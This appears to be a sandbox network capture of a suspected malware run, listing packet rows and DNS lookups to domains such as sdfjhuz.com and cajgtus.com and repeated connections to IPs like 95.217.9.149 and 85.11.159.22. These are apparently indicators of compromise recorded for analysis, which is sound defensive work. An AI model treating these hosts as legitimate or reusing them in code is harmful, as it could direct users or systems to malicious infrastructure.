Apr 24, 2024 07:37:20.243832111 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.246522903 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.246548891 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.246586084 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.246603012 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.246629000 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.246651888 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.250350952 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.250371933 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.250441074 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.250454903 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.250474930 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.250494957 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.250503063 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.250521898 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.250545979 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.250560999 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.250602961 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.255707026 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.255748034 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.334259987 CEST	49756	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.334310055 CEST	443	49756	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.334404945 CEST	49756	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.334673882 CEST	49756	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.334692001 CEST	443	49756	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.989402056 CEST	443	49756	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.989568949 CEST	49756	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.990180969 CEST	49756	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.990200996 CEST	443	49756	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:21.042078972 CEST	49756	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.042284966 CEST	443	49756	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:21.042388916 CEST	49756	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.043732882 CEST	49757	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.043802977 CEST	443	49757	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:21.043917894 CEST	49757	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.044234037 CEST	49757	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.044259071 CEST	443	49757	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:21.456202030 CEST	49758	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.456291914 CEST	443	49758	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:21.456413984 CEST	49758	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.456666946 CEST	49758	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.456712008 CEST	443	49758	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:21.701169968 CEST	443	49757	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:21.701332092 CEST	49757	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.704845905 CEST	49757	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.704922915 CEST	443	49757	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:21.704989910 CEST	49757	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:21.834484100 CEST	49759	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:21.943310976 CEST	49760	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.112555027 CEST	443	49758	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:22.112622023 CEST	49758	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.116729975 CEST	49758	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.116761923 CEST	443	49758	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:22.116805077 CEST	49758	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.118225098 CEST	49761	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.118309021 CEST	443	49761	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:22.118402004 CEST	49761	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.118616104 CEST	49761	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.118643999 CEST	443	49761	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:22.161205053 CEST	80	49759	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:22.161318064 CEST	49759	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.161638975 CEST	49759	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.269979954 CEST	80	49760	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:22.270080090 CEST	49760	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.270266056 CEST	49760	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.487790108 CEST	80	49759	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:22.490057945 CEST	80	49759	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:22.490147114 CEST	49759	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.490371943 CEST	80	49759	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:22.490422010 CEST	49759	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.490530968 CEST	49759	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.505148888 CEST	49762	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.505186081 CEST	443	49762	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:22.505264044 CEST	49762	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.505610943 CEST	49762	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.505620956 CEST	443	49762	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:22.596956015 CEST	80	49760	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:22.599529982 CEST	80	49760	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:22.599601984 CEST	49760	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.599730968 CEST	80	49760	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:22.599776983 CEST	49760	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.599968910 CEST	49760	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:22.776492119 CEST	443	49761	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:22.776617050 CEST	49761	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.780400038 CEST	49761	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.780491114 CEST	443	49761	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:22.780561924 CEST	49761	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:22.816966057 CEST	80	49759	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:22.926604986 CEST	80	49760	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:23.160758972 CEST	443	49762	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:23.160854101 CEST	49762	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.166059017 CEST	49762	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.166146040 CEST	443	49762	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:23.166207075 CEST	49762	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.174417973 CEST	49763	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.174470901 CEST	443	49763	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:23.174552917 CEST	49763	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.174772978 CEST	49763	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.174788952 CEST	443	49763	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:23.728621960 CEST	49764	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.728663921 CEST	443	49764	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:23.728761911 CEST	49764	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.729089975 CEST	49764	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.729099989 CEST	443	49764	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:23.830120087 CEST	443	49763	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:23.830229998 CEST	49763	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.833306074 CEST	49763	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.833339930 CEST	443	49763	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:23.833410025 CEST	49763	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.834650993 CEST	49765	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.834697008 CEST	443	49765	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:23.834821939 CEST	49765	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.835207939 CEST	49765	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:23.835222006 CEST	443	49765	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:24.388274908 CEST	443	49764	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:24.388367891 CEST	49764	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.398499012 CEST	49764	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.398664951 CEST	443	49764	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:24.398757935 CEST	49764	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.400242090 CEST	49766	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.400326014 CEST	443	49766	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:24.400422096 CEST	49766	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.400955915 CEST	49766	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.400989056 CEST	443	49766	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:24.492790937 CEST	443	49765	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:24.492933989 CEST	49765	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.496830940 CEST	49765	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.496897936 CEST	443	49765	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:24.496998072 CEST	49765	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.498182058 CEST	49767	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.498224974 CEST	443	49767	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:24.498295069 CEST	49767	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.498600960 CEST	49767	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:24.498611927 CEST	443	49767	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:25.057401896 CEST	443	49766	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:25.057512999 CEST	49766	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.063849926 CEST	49766	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.063899994 CEST	443	49766	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:25.063962936 CEST	49766	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.157356024 CEST	443	49767	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:25.157439947 CEST	49767	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.159636021 CEST	49768	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.159674883 CEST	443	49768	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:25.159800053 CEST	49768	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.163541079 CEST	49767	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.163630962 CEST	443	49767	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:25.163692951 CEST	49767	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.164990902 CEST	49768	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.165002108 CEST	443	49768	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:25.823224068 CEST	443	49768	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:25.823314905 CEST	49768	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.826891899 CEST	49768	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.826972008 CEST	443	49768	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:25.827039003 CEST	49768	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.830147982 CEST	49769	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.830205917 CEST	443	49769	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:25.830282927 CEST	49769	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.830866098 CEST	49769	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:25.830883026 CEST	443	49769	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:26.489016056 CEST	443	49769	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:26.489135027 CEST	49769	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:26.495296955 CEST	49769	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:26.495372057 CEST	443	49769	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:26.495450974 CEST	49769	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:26.497405052 CEST	49770	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:26.497451067 CEST	443	49770	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:26.497543097 CEST	49770	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:26.497839928 CEST	49770	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:26.497855902 CEST	443	49770	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:27.157273054 CEST	443	49770	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:27.157387972 CEST	49770	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.160785913 CEST	49770	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.160870075 CEST	443	49770	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:27.160948992 CEST	49770	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.162517071 CEST	49771	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.162566900 CEST	443	49771	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:27.162656069 CEST	49771	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.162889004 CEST	49771	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.162914991 CEST	443	49771	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:27.820025921 CEST	443	49771	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:27.820183039 CEST	49771	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.823649883 CEST	49771	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.823708057 CEST	443	49771	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:27.823791981 CEST	49771	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.825299978 CEST	49772	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.825392962 CEST	443	49772	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:27.825510979 CEST	49772	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.825702906 CEST	49772	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:27.825733900 CEST	443	49772	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:28.485511065 CEST	443	49772	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:28.485657930 CEST	49772	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:28.523296118 CEST	49772	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:28.523438931 CEST	443	49772	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:28.523513079 CEST	49772	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:28.525608063 CEST	49773	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:28.525650978 CEST	443	49773	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:28.525726080 CEST	49773	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:28.525953054 CEST	49773	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:28.525966883 CEST	443	49773	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:29.184911966 CEST	443	49773	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:29.185003042 CEST	49773	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:30.995335102 CEST	49773	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:30.995491028 CEST	443	49773	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:30.995596886 CEST	49773	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:38:08.923790932 CEST	49736	80	192.168.2.4	85.11.159.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 07:36:56.670000076 CEST	51344	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:36:56.849476099 CEST	53	51344	1.1.1.1	192.168.2.4
Apr 24, 2024 07:37:00.361604929 CEST	50385	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:37:00.363476038 CEST	55623	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:37:01.348931074 CEST	55623	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:37:01.348974943 CEST	50385	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:37:02.365153074 CEST	50385	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:37:02.365211010 CEST	55623	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:37:02.994544029 CEST	53	50385	1.1.1.1	192.168.2.4
Apr 24, 2024 07:37:02.994563103 CEST	53	50385	1.1.1.1	192.168.2.4
Apr 24, 2024 07:37:02.994570017 CEST	53	50385	1.1.1.1	192.168.2.4
Apr 24, 2024 07:37:04.385504961 CEST	55623	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:37:04.452534914 CEST	53	55623	1.1.1.1	192.168.2.4
Apr 24, 2024 07:37:04.452552080 CEST	53	55623	1.1.1.1	192.168.2.4
Apr 24, 2024 07:37:04.452562094 CEST	53	55623	1.1.1.1	192.168.2.4
Apr 24, 2024 07:37:04.539477110 CEST	53	55623	1.1.1.1	192.168.2.4
Apr 24, 2024 07:37:05.625128031 CEST	59000	53	192.168.2.4	1.1.1.1
Apr 24, 2024 07:37:05.779278994 CEST	53	59000	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 07:36:56.670000076 CEST	192.168.2.4	1.1.1.1	0x6829	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:00.361604929 CEST	192.168.2.4	1.1.1.1	0x5f35	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:00.363476038 CEST	192.168.2.4	1.1.1.1	0xad1	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:01.348931074 CEST	192.168.2.4	1.1.1.1	0xad1	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:01.348974943 CEST	192.168.2.4	1.1.1.1	0x5f35	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.365153074 CEST	192.168.2.4	1.1.1.1	0x5f35	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.365211010 CEST	192.168.2.4	1.1.1.1	0xad1	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.385504961 CEST	192.168.2.4	1.1.1.1	0xad1	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:05.625128031 CEST	192.168.2.4	1.1.1.1	0xb39d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 07:36:56.849476099 CEST	1.1.1.1	192.168.2.4	0x6829	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:36:56.849476099 CEST	1.1.1.1	192.168.2.4	0x6829	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994544029 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994544029 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994544029 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	211.40.39.251	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994544029 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	46.153.223.81	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994544029 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	190.224.203.37	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994544029 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	187.212.254.27	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994544029 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	201.119.37.26	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994544029 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	190.13.174.91	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994544029 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	190.159.30.53	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994544029 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	176.29.154.25	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994563103 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994563103 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994563103 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	211.40.39.251	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994563103 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	46.153.223.81	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994563103 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	190.224.203.37	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994563103 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	187.212.254.27	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994563103 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	201.119.37.26	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994563103 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	190.13.174.91	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994563103 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	190.159.30.53	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994563103 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	176.29.154.25	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994570017 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	123.140.161.243	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994570017 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994570017 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	211.40.39.251	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994570017 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	46.153.223.81	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994570017 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	190.224.203.37	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994570017 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	187.212.254.27	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994570017 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	201.119.37.26	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994570017 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	190.13.174.91	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994570017 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	190.159.30.53	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:02.994570017 CEST	1.1.1.1	192.168.2.4	0x5f35	No error (0)	sdfjhuz.com	176.29.154.25	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452534914 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	85.11.159.22	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452534914 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	119.204.11.2	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452534914 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	188.52.178.41	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452534914 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	189.189.178.112	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452534914 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	201.103.73.225	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452534914 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	190.145.136.42	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452534914 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	190.147.2.86	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452534914 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	186.127.121.72	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452534914 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452534914 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	102.189.46.136	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452552080 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	85.11.159.22	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452552080 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	119.204.11.2	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452552080 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	188.52.178.41	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452552080 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	189.189.178.112	A (IP address)	IN (0x0001)	false
Apr 24, 2024 07:37:04.452552080 CEST	1.1.1.1	192.168.2.4	0xad1	No error (0)	cajgtus.com	201.103.73.225	A (IP address)	IN (0x0001)	false
